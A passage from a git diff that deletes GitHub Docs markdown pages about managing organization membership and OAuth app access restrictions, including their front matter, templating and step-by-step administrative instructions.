permissions](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) to limit the access of each account. diff --git a/content/organizations/managing-membership-in-your-organization/canceling-or-editing-an-invitation-to-join-your-organization.md b/content/organizations/managing-membership-in-your-organization/canceling-or-editing-an-invitation-to-join-your-organization.md deleted file mode 100644 index bdddc058220d..000000000000 --- a/content/organizations/managing-membership-in-your-organization/canceling-or-editing-an-invitation-to-join-your-organization.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Canceling or editing an invitation to join your organization -intro: Organization owners can edit or cancel an invitation to become a member of your organization any time before the user accepts. -redirect_from: - - /articles/canceling-or-editing-an-invitation-to-join-your-organization - - /github/setting-up-and-managing-organizations-and-teams/canceling-or-editing-an-invitation-to-join-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Cancel or edit invitation ---- - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -1. Under "Organization permissions", click **Invitations**. -1. Next to the username of the person whose invitation you'd like to edit or cancel, click {% octicon "kebab-horizontal" aria-label="Invitation options" %}, then click **Edit invitation**, or click **Cancel invitation**. - - ![Screenshot of the "Invitations" page. The "Edit invitation" and "Cancel invitation" buttons are highlighted with an orange outline.](/assets/images/help/organizations/organization-edit-or-cancel-invitation.png) - -1. To edit the invitation, in the dialog box, select a different role or team for the account, then click **Update invitation**. - - ![Screenshot of the "Edit invitation" dialog box. Two buttons, "Update invitation" and "Cancel invitation", are highlighted with an orange outline.](/assets/images/help/organizations/organization-edit-invitation.png) - -1. Optionally, to filter the list of pending invitations by role or by source, use the dropdown menus at the top of the list. - - ![Screenshot of the "Invitations" page. Two dropdown menus, titled "Role" and "Source", are highlighted with an orange outline.](/assets/images/help/organizations/organization-filter-invitations.png) - -## Further reading - -* [AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization) -* [AUTOTITLE](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team) diff --git a/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md b/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md deleted file mode 100644 index a17dac19d0c8..000000000000 --- a/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Exporting member information for your organization -intro: "You can export information about all of your organization's members from {% data variables.product.prodname_dotcom %}'s web UI." -permissions: Organization owners can export member information for an organization. -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Export member information ---- - -## About export of membership information - -You can export aggregated information about your organization's members as a report. For example, you may want to perform an audit of your organization's current members. You can generate a file containing the report from {% data variables.product.prodname_dotcom %}'s web UI. - -The membership information report includes the following information. - -* Username and display name details -* Whether the user has two-factor authentication enabled -* Whether the membership is public or private -* Whether the user is an organization owner or member -* Datetime of the user's last activity (such as timeline events, session updates, or access to resources via a {% data variables.product.pat_generic %} or SSH key) -{%- ifversion ghec %} -* Optionally, additional information that depends on the organization's configuration: - * The user's SAML `NameID` - * Username and primary email addresses on any {% data variables.product.prodname_ghe_server %} instances where {% data variables.product.prodname_github_connect %} is configured - * User, subscription email address, and license status for {% data variables.visual_studio.prodname_vss_ghe %} -{%- endif %} - -You can also use {% data variables.product.prodname_dotcom %}'s APIs to retrieve information about your organization's members. For more information, see the [GraphQL API](/graphql/reference/objects#user) and [REST API](/rest/users) documentation. - -{% ifversion ghec %} - -Enterprise owners can also export membership information for an enterprise. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise). - -{% endif %} - -## Exporting a membership information report - -You can download a CSV or JSON file containing the membership information report for your organization. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.people-export %} - -{% ifversion ghec %} - -## Viewing members' email addresses - -You may be able to view the email addresses for members of your organization on either {% data variables.product.prodname_dotcom %} or an external identity system. The visibility of the email addresses depends on the organization's authentication configuration, domains, and potentially the member's user profile configuration. - -* If SAML single sign-on (SSO) is configured for your organization and the `NameID` for your SAML configuration is an email address, you can view the `NameID` for each of your organization members. - -* If you verify a domain for your organization, you can view members' email addresses for the verified domain. - -* If you don't configure SAML SSO, members access your organization's resources on {% data variables.product.prodname_dotcom %} solely using a personal account. {% data reusables.saml.personal-accounts-determine-email-visibility %} - -If SAML SSO is configured for your organization, or if you have verified a domain, you may be able to view the email addresses in one or more of the following ways. - -1. On your SAML Identity Provider (IdP), review the email addresses of users with access to {% data variables.product.github %}. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam). -1. Export the membership report for your organization. The report may contain the user's email address, stored as the following values. - - * `saml_name_id`: The `NameID` from the user's linked SAML identity, which is typically the user's email address (for more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)) - * `GitHub com verified domain emails`: Email addresses for any verified domains (for more information, see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)) - - For more information, see [Exporting membership information](#exporting-a-membership-information-report). - -{% data reusables.saml.use-api-to-get-externalidentity %} - -{% endif %} diff --git a/content/organizations/managing-membership-in-your-organization/index.md b/content/organizations/managing-membership-in-your-organization/index.md deleted file mode 100644 index ed27dc7e38f9..000000000000 --- a/content/organizations/managing-membership-in-your-organization/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Managing membership in your organization -intro: 'After you create your organization, you can {% ifversion fpt %}invite people to become{% else %}add people as{% endif %} members of the organization. You can also remove members of the organization, and reinstate former members.' -redirect_from: - - /articles/removing-a-user-from-your-organization - - /articles/managing-membership-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/managing-membership-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /inviting-users-to-join-your-organization - - /canceling-or-editing-an-invitation-to-join-your-organization - - /adding-people-to-your-organization - - /removing-a-member-from-your-organization - - /reinstating-a-former-member-of-your-organization - - /exporting-member-information-for-your-organization - - /can-i-create-accounts-for-people-in-my-organization -shortTitle: Manage membership ---- - diff --git a/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md b/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md deleted file mode 100644 index 7a2538f0903e..000000000000 --- a/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Inviting users to join your organization -intro: 'You can invite anyone to become a member of your organization using their username or email address for {% data variables.product.prodname_dotcom %}.' -permissions: Organization owners can invite users to join an organization. -redirect_from: - - /articles/adding-or-inviting-members-to-a-team-in-an-organization - - /articles/inviting-users-to-join-your-organization - - /github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Invite users to join ---- - -> [!NOTE] This article does not apply to {% data variables.product.prodname_emus %}. {% data variables.enterprise.prodname_managed_users_caps %} are provisioned using SCIM, not invited. - -## About organization invitations - - When you invite someone to become a member of your organization, the person receives an email with an invitation link. To join the organization, the invitee clicks the invitation link in the email. - - You can use a person's {% data variables.product.company_short %} username or email address for the invitation. - -> [!NOTE] -> If you use an email address for the invitation, the invitee will only be able to accept the invitation if the email address matches with a verified email address associated with the invitee's personal account on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address). -> -> If an invitee's personal account has been flagged, the invitee won't be able to accept any new or pending invitations to join organizations. - -If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing). - -{% data reusables.organizations.org-invite-scim %} - -If your organization requires members to use two-factor authentication, users that you invite must enable two-factor authentication before accepting the invitation. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) and [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa). - -{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.prodname_dotcom %} through an identity provider (IdP). For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -To prevent abuse, you can only create 50 organization invitations within a 24-hour period. If your organization is more than one month old or on a paid plan, the limit is 500 invitations per 24 hour period. {% ifversion ghec %} This limit does not apply to invitations created via SCIM provisioning.{% endif %} - -## Inviting a user to join your organization - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.invite_member_from_people_tab %} -{% data reusables.organizations.invite_to_org %} -{% data reusables.organizations.choose-to-restore-privileges %} -{% data reusables.organizations.choose-user-role %} -{% data reusables.organizations.add-user-to-teams %} -{% data reusables.organizations.send-invitation %} -{% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} - -{% ifversion organization-invitation-enhancements %} - -## Retrying or canceling expired invitations - -Invitations expire after 7 days. You can retry or cancel expired invitations, either one by one or in bulk. Failed invitations to outside collaborators can also be found in this view. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.retrying-or-deleting-expired-invitations %} -{% endif %} - -## Further reading - -* [AUTOTITLE](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team) diff --git a/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md b/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md deleted file mode 100644 index 9e885a1b843e..000000000000 --- a/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Reinstating a former member of your organization -intro: "You can {% ifversion fpt or ghec %}invite former organization members to rejoin{% else %}add former members to{% endif%} your organization, and choose whether to restore the person's former role, access permissions, forks, and settings." -redirect_from: - - /articles/reinstating-a-former-member-of-your-organization - - /github/setting-up-and-managing-organizations-and-teams/reinstating-a-former-member-of-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -permissions: Organization owners can reinstate a former member of an organization. -topics: - - Organizations - - Teams -shortTitle: Reinstate a member ---- - -## About member reinstatement - -If a user is removed from your organization in one of the following ways, the user's access privileges and settings are saved for three months. - -* You manually removed the user from your organization. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization). -{%- ifversion ghec %} -* The user was removed via SCIM. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). -{%- endif %} -* The user was removed from your organization because you've required members and outside collaborators to enable two-factor authentication (2FA). For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization).{% ifversion fpt or ghec %} -* The user was removed from your organization because you enforced SAML single sign-on. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %}{% endif %} -* You converted an organization member to an outside collaborator. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/converting-an-organization-member-to-an-outside-collaborator). - -You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame. - -{% ifversion fpt or ghec %} -If your organization has a paid per-user subscription, an unused license must be available before you can reinstate a former organization member. For more information, see [AUTOTITLE](/articles/about-per-user-pricing). -{% endif %} - -## Items that are restored for reinstated members - -When you reinstate a former organization member, the following items can be restored: - -* The user's role in the organization -* Any private forks of repositories owned by the organization -* Membership in the organization's teams -* Previous access and permissions for the organization's repositories -* Stars for organization repositories -* Issue assignments in the organization -* Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity) - -{% ifversion ghec %} - -## Reinstating a former member of your organization - -The correct way to reinstate a former member depends on your organization's identity and access management configuration. - -* If the user was removed via SCIM because they were unassigned from the {% data variables.product.prodname_ghe_cloud %} application in your IdP, re-invite the user via SCIM by re-assigning them to the application. The user's organization membership will be reinstated after they sign into {% data variables.product.prodname_dotcom %} and accept the invitation. -* If your organization uses SAML but not SCIM, ask the user to authenticate via SAML single sign-on, via your IP or by signing into {% data variables.product.prodname_dotcom %}, navigating to the organization, and clicking the banner to authenticate via SAML single sign-on. The user's organization membership will be reinstated after they successfully authenticate. -* Otherwise, invite the user to rejoin your organization on {% data variables.product.prodname_dotcom %}, following the steps below. - -{% endif %} - -## Reinstating a former member of your organization on {% data variables.product.prodname_dotcom %} - -{% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %} - -{% ifversion ghes %} -If an organization member was removed from the organization because they did not use two-factor authentication and your organization still requires members to use 2FA, the former member must enable two-factor authentication before you can reinstate their membership. -{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.invite_member_from_people_tab %} -{% data reusables.organizations.reinstate-user-type-username %} -{% ifversion fpt or ghec %} -1. Select whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Invite and reinstate** or **Invite and start fresh**. -{% else %} -1. Select whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Add and reinstate** or **Add and start fresh**. -{% endif %} -{% ifversion fpt or ghec %} -1. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Send invitation**. -{% else %} -1. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Add member**. -{% endif %} -{% ifversion fpt or ghec %} -{% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} -{% endif %} diff --git a/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md deleted file mode 100644 index 1b84013b47ac..000000000000 --- a/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Removing a member from your organization -intro: 'If members of your organization no longer require access to any repositories owned by the organization, you can remove them from the organization.' -redirect_from: - - /articles/removing-a-member-from-your-organization - - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization - - /enterprise/admin/user-management/removing-users-from-teams-and-organizations - - /admin/user-management/removing-users-from-teams-and-organizations - - /admin/user-management/managing-organizations-in-your-enterprise/removing-users-from-teams-and-organizations -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Remove a member -permissions: Organization owners can remove members from an organization. ---- - -{% ifversion fpt or ghec %} - -> [!WARNING] -> When you remove members from an organization: -> * The paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan). -> * Removed members will lose access to private forks of your organization's private repositories, but they may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. -> * When private repositories are forked to other organizations, those organizations are able to control access to the fork network. This means users may retain access to the forks even after losing access to the original organization because they will still have explicit access via a fork. -{%- ifversion ghec %} -> * Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see [AUTOTITLE](/admin/overview/about-enterprise-accounts). -{%- endif %} -> * Any organization invitations sent by a removed member, that have not been accepted, are canceled and will not be accessible. - -{% else %} - -> [!WARNING] -> When you remove members from an organization: -> * Removed members will lose access to private forks of your organization's private repositories, but may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. -> * Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization in your enterprise. -> * Any organization invitations sent by the removed user, that have not been accepted, are canceled and will not be accessible. - -{% endif %} - -{% ifversion fpt or ghec %} - -To help the person you're removing from your organization transition and help ensure they delete confidential information or intellectual property, we recommend sharing a checklist of best practices for leaving your organization. For an example, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company). - -{% endif %} - -{% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %} - -## Revoking the user's membership - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -1. Select the member or members you'd like to remove from the organization. - - ![Screenshot of the first two users in a list of organization members. To the left of each member, a checkbox is checked and outlined in dark orange.](/assets/images/help/teams/list-of-members-selected-bulk.png) -1. Above the list of members, select the **X members selected...** dropdown menu, and click **Remove from organization**. - - ![Screenshot of the list of organization members. Above the list, a dropdown menu, labeled "2 members selected..." is outlined in dark orange.](/assets/images/help/teams/user-bulk-management-options.png) -1. Review the member or members who will be removed from the organization, then click **Remove members**. - -## Further reading - -* [AUTOTITLE](/organizations/organizing-members-into-teams/removing-organization-members-from-a-team){% ifversion remove-enterprise-members %} -* [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise){% endif %} diff --git a/content/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions.md b/content/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions.md deleted file mode 100644 index 1c24860a48f9..000000000000 --- a/content/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: About OAuth app access restrictions -intro: 'Organizations can choose which {% data variables.product.prodname_oauth_apps %} have access to their repositories and other resources by enabling {% data variables.product.prodname_oauth_app %} access restrictions.' -redirect_from: - - /articles/about-third-party-application-restrictions - - /articles/about-oauth-app-access-restrictions - - /github/setting-up-and-managing-organizations-and-teams/about-oauth-app-access-restrictions - - /organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: '{% data variables.product.prodname_oauth_app %} restrictions' ---- - -## About {% data variables.product.prodname_oauth_app %} access restrictions - -{% data reusables.apps.oauth-app-access-restrictions %} - -{% data reusables.organizations.restricted-app-access-requests %} - -Even if you restrict {% data variables.product.prodname_oauth_apps %} access in your organization, users can still authorize internal {% data variables.product.prodname_oauth_apps %} apps and use them to access data from the organization. For more information, see [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/internal-oauth-apps). - -{% data reusables.organizations.oauth_app_restrictions_default %} - -> [!WARNING] -> When an organization has not set up {% data variables.product.prodname_oauth_app %} access restrictions, any {% data variables.product.prodname_oauth_app %} authorized by an organization member can also access the organization's private resources. - -{% ifversion fpt %} -To further protect your organization's resources, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes security features like SAML single sign-on. {% data reusables.enterprise.link-to-ghec-trial %} -{% endif %} - -## Setting up {% data variables.product.prodname_oauth_app %} access restrictions - -When an organization owner sets up {% data variables.product.prodname_oauth_app %} access restrictions for the first time: - -* **Applications that are owned by the organization** are automatically given access to the organization's resources. -* **{% data variables.product.prodname_oauth_apps %}** immediately lose access to the organization's resources. -* **SSH keys created before February 2014** immediately lose access to the organization's resources (this includes user and deploy keys). -* **SSH keys created by {% data variables.product.prodname_oauth_apps %} during or after February 2014** immediately lose access to the organization's resources. -* **Hook deliveries from private organization repositories** will no longer be sent to unapproved {% data variables.product.prodname_oauth_apps %}. -* **API access** to private organization resources is not available for unapproved {% data variables.product.prodname_oauth_apps %}. In addition, there are no privileged create, update, or delete actions on public organization resources. -* **Hooks created by users and hooks created before May 2014** will not be affected. -* **Private forks of organization-owned repositories** are subject to the organization's access restrictions. - -## Resolving SSH access failures - -When an SSH key created before February 2014 loses access to an organization with {% data variables.product.prodname_oauth_app %} access restrictions enabled, subsequent SSH access attempts will fail. Users will encounter an error message directing them to a URL where they can approve the key or upload a trusted key in its place. - -## Webhooks - -When an {% data variables.product.prodname_oauth_app %} is granted access to the organization after restrictions are enabled, any pre-existing webhooks created by that {% data variables.product.prodname_oauth_app %} will resume dispatching. - -When an organization removes access from a previously-approved {% data variables.product.prodname_oauth_app %}, any pre-existing webhooks created by that application will no longer be dispatched (these hooks will be disabled, but not deleted). - -## Re-enabling access restrictions - -If an organization disables {% data variables.product.prodname_oauth_app %} access application restrictions, and later re-enables them, previously approved {% data variables.product.prodname_oauth_app %} are automatically granted access to the organization's resources. - -## Further reading - -* [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization) -* [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization) -* [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/reviewing-github-apps-installed-in-your-organization) -* [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization) -* [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps) -* [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/authorizing-oauth-apps) diff --git a/content/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md b/content/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md deleted file mode 100644 index 16f77317046b..000000000000 --- a/content/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Approving OAuth apps for your organization -intro: 'When an organization member or outside collaborator requests {% data variables.product.prodname_oauth_app %} access to organization resources, organization owners can approve or deny the request.' -redirect_from: - - /articles/approving-third-party-applications-for-your-organization - - /articles/approving-oauth-apps-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/approving-oauth-apps-for-your-organization - - /organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Approve {% data variables.product.prodname_oauth_app %} access ---- -When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, organization members and outside collaborators must [request approval](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps) from an organization owner before they can authorize an {% data variables.product.prodname_oauth_app %} that has access to the organization's resources. - -{% data reusables.organizations.restricted-app-access-requests %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.oauth_app_access %} -1. Next to the application you'd like to approve, click **Review**. -1. After you review the information about the requested application, click **Grant access**. - -## Further reading - -* [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions) diff --git a/content/organizations/managing-oauth-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md b/content/organizations/managing-oauth-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md deleted file mode 100644 index 3926e40b639b..000000000000 --- a/content/organizations/managing-oauth-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Denying access to a previously approved OAuth app for your organization -intro: 'If an organization no longer requires a previously authorized {% data variables.product.prodname_oauth_app %}, owners can remove the application''s access to the organization''s resources.' -redirect_from: - - /articles/denying-access-to-a-previously-approved-application-for-your-organization - - /articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/denying-access-to-a-previously-approved-oauth-app-for-your-organization - - /organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Deny {% data variables.product.prodname_oauth_app %} access ---- - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.oauth_app_access %} -1. Next to the application you'd like to disable, click {% octicon "pencil" aria-label="Update policy" %}. - - ![Screenshot of the "Third-party application access policy" page. To the right of an approved application, a pencil icon is outlined in dark orange.](/assets/images/help/settings/settings-third-party-deny-edit.png) -1. Click **Deny access**. diff --git a/content/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md b/content/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md deleted file mode 100644 index 4dc6287277d8..000000000000 --- a/content/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Disabling OAuth app access restrictions for your organization -intro: 'Organization owners can disable restrictions on the {% data variables.product.prodname_oauth_apps %} that have access to the organization''s resources.' -redirect_from: - - /articles/disabling-third-party-application-restrictions-for-your-organization - - /articles/disabling-oauth-app-access-restrictions-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/disabling-oauth-app-access-restrictions-for-your-organization - - /organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Unrestrict {% data variables.product.prodname_oauth_apps %} ---- - -> [!WARNING] -> When you disable {% data variables.product.prodname_oauth_app %} access restrictions for your organization, any organization member will automatically authorize {% data variables.product.prodname_oauth_app %} access to the organization's private resources when they approve an application for use in their personal account settings. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.oauth_app_access %} -1. Click **Remove restrictions**. -1. After you review the information about disabling third-party application restrictions, click **Yes, remove application restrictions**. diff --git a/content/organizations/managing-oauth-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md b/content/organizations/managing-oauth-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md deleted file mode 100644 index 010cbb1b0b7b..000000000000 --- a/content/organizations/managing-oauth-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Enabling OAuth app access restrictions for your organization -intro: 'Organization owners can enable {% data variables.product.prodname_oauth_app %} access restrictions to prevent untrusted apps from accessing the organization''s resources while allowing organization members to use {% data variables.product.prodname_oauth_apps %} for their personal accounts.' -redirect_from: - - /articles/enabling-third-party-application-restrictions-for-your-organization - - /articles/enabling-oauth-app-access-restrictions-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/enabling-oauth-app-access-restrictions-for-your-organization - - /organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Restrict {% data variables.product.prodname_oauth_apps %} ---- - -{% data reusables.organizations.oauth_app_restrictions_default %} - -Even if you restrict {% data variables.product.prodname_oauth_apps %} access in your organization, users can still authorize internal {% data variables.product.prodname_oauth_apps %} and use them to access data from the organization. For more information, see [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/internal-oauth-apps). - -> [!WARNING] -> * Enabling {% data variables.product.prodname_oauth_app %} access restrictions will revoke organization access for all previously authorized {% data variables.product.prodname_oauth_apps %} and SSH keys. For more information, see [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions). -> * Once you've set up {% data variables.product.prodname_oauth_app %} access restrictions, make sure to reauthorize any {% data variables.product.prodname_oauth_app %} that require access to the organization's private data on an ongoing basis. All organization members will need to create new SSH keys, and the organization will need to create new deploy keys as needed. -> * When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, applications can use an OAuth token to access information about {% data variables.product.prodname_marketplace %} transactions. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.oauth_app_access %} -1. Under "Third-party application access policy," click **Setup application access restrictions**. -1. After you review the information about third-party access restrictions, click **Restrict third-party application access**. diff --git a/content/organizations/managing-oauth-access-to-your-organizations-data/index.md b/content/organizations/managing-oauth-access-to-your-organizations-data/index.md deleted file mode 100644 index a6eaaaca6641..000000000000 --- a/content/organizations/managing-oauth-access-to-your-organizations-data/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Managing OAuth access to your organization's data -intro: '{% data variables.product.prodname_oauth_app %} access restrictions allow organization owners to restrict an untrusted app''s access to the organization''s data. Organization members can then use {% data variables.product.prodname_oauth_apps %} for their personal accounts while keeping organization data safe.' -redirect_from: - - /articles/restricting-access-to-your-organization-s-data - - /articles/restricting-access-to-your-organizations-data - - /github/setting-up-and-managing-organizations-and-teams/restricting-access-to-your-organizations-data - - /organizations/restricting-access-to-your-organizations-data -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /about-oauth-app-access-restrictions - - /enabling-oauth-app-access-restrictions-for-your-organization - - /disabling-oauth-app-access-restrictions-for-your-organization - - 